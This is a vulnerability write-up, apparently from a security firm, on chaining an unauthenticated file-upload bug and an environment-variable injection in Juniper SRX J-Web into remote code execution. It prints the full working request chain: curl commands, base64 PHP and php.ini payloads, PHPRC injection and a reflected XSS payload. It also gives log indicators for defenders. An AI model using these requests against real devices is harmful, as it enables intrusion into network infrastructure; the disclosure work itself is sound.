CVE-2023-36844 And Friends: RCE In Juniper Devices

CVE-2023-36844 And Friends: RCE In Juniper Devices

As part of our Continuous Automated Red Teaming and Attack Surface Management technology - the watchTowr Platform - we're incredibly proud of our ability to discover nested, exploitable vulnerabilities across huge attack surfaces.

Through our rapid PoC process, we enable our clients to understand if they are vulnerable to emerging weaknesses before active, indiscriminate exploitation can begin - continuously.

Because of this, a recent out-of-cycle Juniper security bulletin caught our attention, describing two bugs which, although only a 5.3 on the CVSS scale individually, supposedly could be combined for RCE (with a combined rating of 9.8 within CVSSv3 - we didn't know this was possible but anyway).

We're no strangers to "next-gen" firewalls and switches here at watchTowr (see our recent healthy obsession with Fortinet), and thus we are equally not strangers to the prolific nature of the bugs that seem to live in these so-called 'hardened appliances and devices'. As we are hopefully slowly demonstrating, these 'hardened appliances' are often the softest route into a network for an advanced attacker.

The bulletin actually contains four CVEs, as the two bugs apply to two separate platforms (the -EX switches and -SRX firewall devices). We'll focus just on the -SRX bugs, as we expect the -EX bugs to be identical. These are two individual flaws.

For the uninitiated, or those that don't spend their days browsing catalogues, Juniper -EX devices are switches, and -SRX devices are firewalls, "powered by Junos® OS" and according to Juniper are an "integral part of Juniper Connected Security framework that protects your remote office, branch, campus, data center, and cloud by extending security to every point of connection on the network". Yes.

Anyway, back to the bulletin and the vulnerabilities described within.

The first, CVE-2023-36846, is described as a "Missing Authentication for Critical Function vulnerability", while the second, CVE-2023-36845, is described as a "PHP External Variable Modification vulnerability".

These, put mildly, sound interesting. Being the responsible, friendly hackers that we are, we decided to investigate in order to provide network administrators with more information to aid in the recurring 'patch or no patch' decision, and to aid in patch verification.

As of the time of writing, there is very little information available other than the terse security bulletin. Great!~

First Impressions

Since the advisory indicates that a workaround is to 'disable J-Web', we'll start there. J-Web is the web-based UI that can be used to configure the appliance by those who are reluctant to jump into the appliance's CLI interface.

Taking the metaphorical lid off the appliance quickly reveals that J-Web is almost entirely written in PHP, a language with a well-earned historic reputation of prioritising usability and ease-of-development over security.

Editors note: PHP is a great language, Aliz and Sonny are not enlightened.

A quick scroll through the PHP code suggests an ill-maintained platform, and indeed, very quickly we see thousands of 'code smells', mostly harmless typos and mistakes that don't impact functionality, but cause us to reduce confidence in the codebase. Comments such as "This is a hack until 9.4", found in version 22 of the codebase, suggest that proper care has not been taken to address technical debt accrued in the codebase's long 25-year lifespan.

We're not sure what's going on here, but it does not inspire confidence whatever it is:

function getLockerkey() {
    global $user;
    $keyvar = "js2nr0px1R2";
    $sysVersion = $user->xnm->command('show version',true,true,null);
    $sysVersion = $user->transform->strip_ns($sysVersion);
    $modelNo = $user->xpath->get_xpath_node_value($sysVersion,'//software-information/product-model');
    return base64_encode(substr($modelNo, 0, 6) . '$' . $keyvar);

and honestly, what is this?

    // Changing raw variable to take only request type
    //$raw = trim(stripslashes(file_get_contents('php://input')));
    $raw = $_POST['requestType'];
    $raw = substr($raw,1);
    $raw = 'requestType=>'.$raw;
    $input = array();
    $input = explode("#@^",$raw);
    foreach($input as $arg) {
        $params = array();
        $params = explode("=>",$arg);
        ${$params[0]} = $params[1];

A quick look at most of the PHP files shows that authentication is managed by the user class, and the following pattern can be seen in most of the files that require authentication:

$user = new user(true);
if (!$user->is_authenticated()) {

While straightforward and readable, this approach can be error-prone, as each file requires a similar snippet, and if omitted, access can be granted unintentionally. Hunting through the codebase, we find that most files have the correct checks implemented - with a number of exceptions, including webauth_operation.php, that do not.

Instead of authenticating via the user class, it instead invokes the sajax_handle_client_request, but critically it provides a value of false for the doauth parameter, meaning that authentication will not be performed.

"doauth: false"? Colour me interested!

Going back to the bug we're hunting, this seems to align with a 'Missing Authentication' condition - this could be the n-day tracked as CVE-2023-36846 that we are looking for!

Can we persuade this webauth_operation.php file to do our bidding without a requirement for pesky authentication?

Well, it turns out we can.

Of $internal_functions

This webauth_operation expects to receive a POST request containing two variables - rs and rsargs. As you might expect, the first conveys the name of the operation to be carried out, and the second specifies any arguments which that operation expects.

Here's what the calling code looks like. We can see that the $internal_functions array contains handlers for functions, keyed by function name:

                //PR 826518, 1269932
                $sajax_black_list_functions = Array ("sajax_handle_client_request", "sajax_init", "errmsg_format_serialized_events");
                $internal_functions = get_defined_functions();

                if (! is_callable($func_name) || !in_array($func_to_call,$internal_functions["user"]) || in_array($func_to_call,$sajax_black_list_functions))
                        echo "-:function not callable";
                else {
         			error_log("PERF: ".$func_name." Start: ".date('Y-m-d H:i:s.') . gettimeofday()['usec']);
                    $result = call_user_func_array($func_name, $args);
          			error_log("PERF: ".$func_name." End: ".date('Y-m-d H:i:s.') . gettimeofday()['usec']);
                	if ($getQuery)
                		echo $result ;
                		echo trim(sajax_get_js_repr($result));

The 'dispatch' code which handles these operations, however, is not a simple associative array as one might expect, and so extracting a list of operations isn't as simple as it may seem. We decided the 'path of least resistance' was to modify the PHP source file, and print out a list of operations. However, this turned out to be slightly more work than we anticipated.

Firstly, we noted that the PHP files were read-only.

Initially we thought they were deliberately mounted as such, and could simply be remounted read-write, but a little more investigation revealed that they are stored on an lzma-compressed ISO (yes, as in iso9660) volume. Some work went into modifying the iso file, recompressing with BSD's mkuzip tool, and booting the modified system, only to find that the compressed iso was rejected on boot, as it failed a signature check. D'oh! Shortly after this, we realised that the JunOS device provides support for union mounts - similar to Linux's overlayFS - and we were able to simply use that to emulate a writable partition.

 mkdir /root/writable
 mount_unionfs /root/writable /.mount/packages/mnt/jweb-srxtvp-29090167/jail/html/includes

With the files now writable, it is easy to add a quick PHP statement to write the contents of the internal_functions array to the HTML response.

$internal_functions = get_defined_functions();
echo var_dump($internal_functions['user']);

The result is almost 150 individual functions, spanning everything from simple helpers to format IP addresses to complex functions that interact with the appliance's CLI. One promising-looking candidate is the move_file function:

function move_file ($src, $dst, $overwrite = false, $copy = false) 
    global $user;

    $args = array(
		'source' => $src, 
		'destination' => $dst

    if ($copy) {
		$rpc = 'file-copy';
    } else {
		$rpc = 'file-move';

		if ($overwrite) {
		    $args['replace'] = 'replace';

    $xml = $user->xnm->query($rpc, $args, false);

    if (strstr($xml, 'xnm:error')) {
		return $xml;
    } else {
		return null;

While it does seem, at first glance, that this function is exactly the sort of 'interesting functionality' that we're looking for, unfortunately it is inaccessible to us. Attempting to invoke it results in a promising-looking HTTP 200 response, but no actual file moving takes places, and if we examine the the PHP log (/var/jail/sess/php.log) we see the following:

[25-Aug-2023 00:00:37 America/Los_Angeles] CACHING FLOW: query user not set..

This is a message from the junoscript class, which is the type of $user->xnm. Unfortunately, since we are not logged in, the junoscript class is not fully constructed, and we are unable to perform any queries over the RPC mechanism. This causes most of the interesting-looking internal_functions handlers to fail uninterestingly. Some of them, however, do not use the RPC mechanism to carry out their duty, and are thus able to run even though the junoscript is not fully logged in.

Interesting Internal Functions

We're at a convenient point now to circle back to the bug description of CVE-2023-36846, one of the bugs we are trying to reproduce. Let's take a close look at the vendor's advice:

With a specific request that doesn't require authentication an attacker is 
able to upload arbitrary files via J-Web, leading to a loss of integrity for 
a certain part of the file system

An arbitrary file upload bug. Taking a look through our list of $internal_functions, one stood out to us as being interesting in this context - one named do_upload, which is designed to handle the upload of a file.

It does, however, seem to be lacking any kind of authentication.

With no authentication requirement, we don't need any fancy tricks, and we can simply invoke the function as it is designed to be. It expects a single argument containing a JSON-encoded array. The array, as we can see in the code snippet below, should contain a fileName, a base64-encoded fileData, and a csize holding the target file size.

function do_upload($files) {
	$files = json_decode($files);
	foreach ($files as $file) {
		$fileData = $file->fileData;
		$intermediateSalt = md5(uniqid(rand(), true));
		$salt = substr($intermediateSalt, 0, 6);
		$token = hash("sha256", $file->fileName . $salt);
		//$token = md5(uniqid(rand(), true));
		$fileName = $token.getXSSEncodedValue($file->fileName);
		$fileName_extension = pathinfo($fileName, PATHINFO_EXTENSION);
		$fileName = $token . '.' . $fileName_extension;
		$csize = getXSSEncodedValue($file->csize);

		$fileData = substr($fileData, strpos($fileData, ",") + 1);
		$fileData = base64_decode($fileData);
		if (!check_filename($fileName, false)) {
			echo 'Invalid Filename';
		$cf = "/var/tmp/" . $fileName;
		$byte = 1024 * 1024 * 4;
		$fp = fopen($cf,'ab');
		if(flock($fp,LOCK_EX | LOCK_NB))
			$ret = fwrite($fp,$fileData);		
			flock($fp, LOCK_UN);	
		$rc = fclose($fp);//echo $ret;echo "|";echo $csize;die;
		if($ret == $csize) {
			$filenames['converted_fileName'][] = $fileName;
			$filenames['original_fileName'][] = $file->fileName;
		} else {
			$filenames[] = ''; //Error while uploading the file : miss-match in bytes 
	return $filenames;

Performing a POST without authentication yields a helpful response, telling us our file has been uploaded:

POST /webauth_operation.php HTTP/1.1
Host: xxxxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

rs=do_upload&rsargs[]=[{"fileName": "test.txt", "fileData": ",aGk=", "csize": 2}]
HTTP/1.1 200 OK

+:{"converted_fileName":  {0: '48cebc0d1548c854f2d5d52e65f3917f21e8c75894bcd9f9729c7322315f5ed0.txt'}, "original_fileName":  {0: 'test.txt'}}

Indeed, if we take a look on the appliance's filesystem, the file has been created with the correct contents. Neat.

root@:/ # cat /var/jail/tmp/48cebc0d1548c854f2d5d52e65f3917f21e8c75894bcd9f9729c7322315f5ed0.txt

This is likely to be the first bug, CVE-2023-36846.

Attentive readers might be alarmed by the destination path of the file - the jail component suggests that the webserver is running in a BSD jail, which are a sort of Docker-like mechanism for isolating a processes userspace components (BSD proponents will no doubt want me to point out that jails predate Docker by a considerable margin, and I wouldn't want to risk offending them by omitting this otherwise-unrelated trivia). The jail doesn't actually get in our way very much as we progress with our research (and ultimately exploitation), but it's an important thing to bear in mind, as some paths later on will be relative to the jail root, /var/jail. This directory contains a full (albeit very minimal and stripped-down) userland for the operation of the webserver.

A Polluted Envonment

Satisfied that we've found the first bug, CVE-2023-36846, let's move on and look for the second, CVE-2023-36845. The vendor disclosure is terse:

Utilizing a crafted request an attacker is able to modify a certain PHP 
environment variable leading to partial loss of integrity, which may allow 
chaining to other vulnerabilities.

While this bug sounds like it resides in PHP code itself - as one would expect - we actually found it in a totally different location - the webserver itself.

You may notice that the webserver is the GoAhead software, which has had its share of flaws. Most notably, older versions (below 3.6.5) are prone to an environment variable injection attack (see here and here if you understand Chinese). Although the version of httpd on the Juniper appliance reports its version as 8.1.3, this bug seems to fit the description of what we're looking for. Since the PoC is very simple, let's give it a try - maybe we'll get lucky (spoiler: we do!)

The bug itself is really simple. It allows an attacker to set any environment variable simply by specifying the name of an uploaded file. For example, given the following HTTP request:

POST /modules/configuration/wizards/interfaces/widgets/wl.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Length: 145

Content-Disposition: form-data; name="TestEnvVar"


The CGI handler, in our case PHP, will be started with the TestEnvVar environment variable set to hello.. To verify this, we modified the PHP files on the appliance once again, inserting a phpinfo call into one of the source files, and invoked it with a  POST request containing a file-type attachment:

POST /webauth_operation.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryngts3YOfQfRAEypQ
Content-Length: 147

Content-Disposition: form-data; name="TestEnvVar"


Somewhat surprisingly, the phpinfo dump of environment variables shows that the environment variable has indeed been created!

why, hello to you, too!

This seems a bizarre situation, given the version numbering of the httpd binary. It is possible that the bug isn't actually in the GoAhead software at all, but rather in the Juniper-developed CGI glue. Either way, wherever the bug is, we've found it - we are able to 'pollute' the CGI environment by setting any environment variable we want to any content we wish. This is a pretty powerful primitive, and there are well-known ways of exploiting such a condition. Let's try them out.

Preloading Libraries

The usual exploit method for bugs of this class - the ability to set arbitrary environmental variables - is to set the LD_PRELOAD variable to point to a shared library file that we control. With the LD_PRELOAD variable set, the dynamic linker will helpfully pre-load the file we have under our control, giving us control over the machine.

In our case, we've uploaded a file into the filesystem already, using our previous bug.

Let's try it out! Note that we set the LD_LIBRARY_PATH to the /tmp directory, since it is relative to the jail root, and we set the LD_PRELOAD itself to the filename. We'll also set the LD_DEBUG variable so we can see what's going on if it fails - we've found this to be an invaluable resource when debugging anything relating to the dynamic linker.

POST /webauth_operation.php HTTP/1.1

Content-Disposition: form-data; name="ld_library_path"

Content-Disposition: form-data; name="LD_PRELOAD"
Content-Disposition: form-data; name="LD_DEBUG"


The response is somewhat disappointing:

HTTP/1.1 503 Service Unavailable

/libexec/ is initialized, base address = 0x82d000
RTLD dynamic = 0x84ece8
RTLD pltgot  = 0
initializing thread locks
_rtld_thread_init: done
processing main program's program header
note osrel 1201524
note fctl0 0
note crt_no_init
AT_EXECPATH 0xffffdfe3 /usr/bin/php
obj_main path /usr/bin/php
Filling in DT_DEBUG entry
/usr/bin/php valid_hash_sysv 1 valid_hash_gnu 1 dynsymcount 970
lm_parse_file: open("/etc/libmap.conf") failed, No such file or directory
loading LD_PRELOAD libraries
 Searching for ""
lm_find("(null)", "/tmp")
  Trying "/tmp/"
  Failed to open "/tmp/": Authentication error
search_library_pathfds('', '(null)', fdp) Shared object "" not found

What's going on here?! We can see that the dynamic linker has correctly located our library, but that it has failed with the error message "Authentication error".

Well, I'm not afraid to admit we spent quite some time debugging this failure.!

Eventually, in a moment of insight, we copied a legitimate binary from the system's /lib dir into the tmp directory, and attempted to invoke it - only to be met with the same Authentication error message:

root@:/var/jail/tmp # /lib/
Segmentation fault (core dumped)
# That's okay, at least it's executing something

root@:/var/jail/tmp # cp /lib/ .
root@:/var/jail/tmp # ./
./ Authentication error.
# HUH?!

What's going on here? Our first thought was that the tmp filesystem was mounted with some kind of noexec flag, but that's not the case. What's preventing our binary from being loaded?

Well, it turns out that Juniper is (wisely) using a tool named veriexec, which will limit execution to binaries which have a valid signature - and also verify their location on the filesystem. This means that attempts to upload and execute a payload will fail, since our payloads will be located in a location not whitelisted (and also because they are not cryptographically signed). Great for security, but bad for us - what now? How can we get RCE without the ability to execute any of our own binaries?!

We don't need no steenkin' binaries

The answer, of course, is to use the binaries that are already on the system. While the system is (sensibly) quite minimal, presumably to prevent exactly this kind of attack, there is still one behemoth of an executable at our disposal - PHP itself. The question then becomes, "How can we direct PHP to execute arbitrary code using only environment variables?"

Well, as you can see in the LD_DEBUG output above, we are influencing the execution of /usr/bin/php. Therefore, we dug into environmental variables that can be used to influence the PHP binary at execution.

We soon realised that we could use the PHPRC environment variable, which instructs PHP on where to locate its configuration file, usually called php.ini. We can use our first bug to upload our own configuration file, and use PHPRC to point PHP at it. The PHP runtime will then duly load our file, which then contains an auto_prepend_file entry, specifying a second file, also uploaded using our first bug. This second file contains normal PHP code, which is then executed by the PHP runtime before any other code.

So, in more detail, our bug chain becomes:

1) Use bug #1 (the do_upload bug) to upload a PHP file containing our shellcode

2) Use bug #1 to upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1

3) Use bug #2 to set the PHPRC variable to the file we uploaded in step 2.

Et voilà! RCE!

Here's a complete example chain.

First, upload our PHP file. In this case, we'll just upload a phpinfo script. Since the do_upload operation expects the file contents to be base64-encoded, we'll do that!

$ cat payload.php
$ base64 < payload.php
$ curl --insecure https://xxxxxxx/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "test.php", "fileData": ",PD9waHAgDQpwaHBpbmZvKCk7DQo/Pg==", "csize": 22}]'
+:{"converted_fileName":  {0: '7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php'}, "original_fileName":  {0: 'test.php'}}

Great, now we have our PHP file uploaded as 7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php. Our 'step 1' is complete - now to upload the new php.ini configuration file.

$ cat php.ini
$ base64 < php.ini
$ curl --insecure https://xxxxxxx/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "php.ini", "fileData": ",YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzcwNzkzMTA1NDFkZWQ3YjAwZWFlNjFkMjY0MjdhOTk3Zjk1NmNkNjhhMjgzNmRkZTIxZTZiNTM0MDYxMDZiZGEucGhwIg==", "csize": 97}]'
+:{"converted_fileName":  {0: '0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini'}, "original_fileName":  {0: 'php.ini'}}

Okay, so far so good - we have our configuration file stored as 0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini. The last peice of the puzzle is to inject the PHPRC environment variable using our second bug:

$ curl -X POST --insecure https://xxxxxx/webauth_operation.php -F "PHPRC=/tmp/0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini"

Our reward is the PHPinfo output, as we expect.

Never have I been so happy to see a phpinfo page

Of course, making three HTTP requests is tedious, and so we've automated the process and wrapped it up in a nice exploit available on our GitHub.

Other bits and bobs

While searching through the $internal_operations functions, we found a few other things that were perhaps not as earth-shattering as RCE, but speak to the quality of the codebase. We noted trivial reflected XSS in a few endpoints, such as emit_debug_note and sajax_show_one_stub, which would simply format and echo their parameters with the all-important Content-Type: text/html header set, allowing a really easy XSS for any attacker who cares to make a cursory glance over the code:

emit_debug_note (&$debug_back_trace, $label = '', $as_comment = false) 
    if ($as_comment == true) {
		print "\n<!--";
    print "<h3><b>ERROR: $label</b></h3><br><br>";

    print pretty_backtrace($debug_back_trace);

    if ($as_comment == true) {
		print "-->\n";

One would expect that a 'hardened' appliance such as a next-generation firewall or switch would avoid such obvious flaws. Simply specifying a body of rs=emit_debug_note&rsargs[]=1,&rsargs[]=<script>alert('watchTowr says hi')</script>" is enough to pop a message box - no fancy filter evasion required. Classy.

1990 called, it wants it's coding standards back

I guess we'll apply for CVEs for these at some point - but hardly earth-shattering.


We hope this painstaking research is useful to administrators who want more information about the vulnerabilities before deciding if they should patch, and (should they decide to) that it is also useful for those who need to verify that patches have been applied.

We carried out this research using an EC2-hosted SRX device, and were dismayed to find that it is seemingly impossible for us to actually patch the device to latest. Updates are only available to registered users, and it seems that the EC2 integration which performs registration is faulty.

No updates for us.

Of course, we're directed to contact support, which is impossible without.. a registered account. D'Oh!

If you find yourself in a similar situation, or if you'd rather not patch for some reason, we suggest following Juniper's advice to disable the J-Web service completely, or restrict it to (very) trusted users.

Those who have not yet patched and are concerned about the integrity of their systems may wish to check the PHP log files on the appliance, looking for messages similar to the following:

[24-Aug-2023 13:47:29 America/Los_Angeles] Array
    [type] => 8
    [message] => Trying to access array offset on value of type null
    [file] => /html/core/session.php
    [line] => 47

This error message is a direct result of anonymous access without a valid session, and while not conclusive, may indicate an attack is being attempted. Another item that may be of interest to defenders is the following:

[24-Aug-2023 07:23:38 America/Los_Angeles] CACHING FLOW: query user not set..

This entry, while not indicative of a successful attack, suggests that an action has been attempted via an API endpoint without supplying authentication information, as a possible consequence of an attacker exploring the API to discover useful functionality. An example of an action that causes this message is the move_item operation (see above).

Given the simplicity of exploitation, and the privileged position that JunOS devices hold in a network, we would not be surprised to see large-scale exploitation.

Proof of Concept

Alas, because we enjoyed exploiting this chain of vulnerabilities to achieve unauthenticated RCE so much, we've published our PoC:

Closing words

This is an interesting bug chain, utilising two bugs that would be near-useless in isolation and combining them for a 'world ending' unauthenticated RCE.

While the quality of the code is much aligned with other devices in its class, such as the Fortiguard and Sonicwall devices we've been breaking, it is worth pointing out here that Juniper's use of veriexec was a wise move, as it complicates code and command execution. However, it is not enough to prevent determined attackers - watchTowr researchers took around half an hour to circumvent it (and, I'll admit, much longer to realise it was in effect).

Those running an affected device are urged to update to a patched version at their earliest opportunity, and/or to disable access to the J-Web interface if at all possible.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic exploitable vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.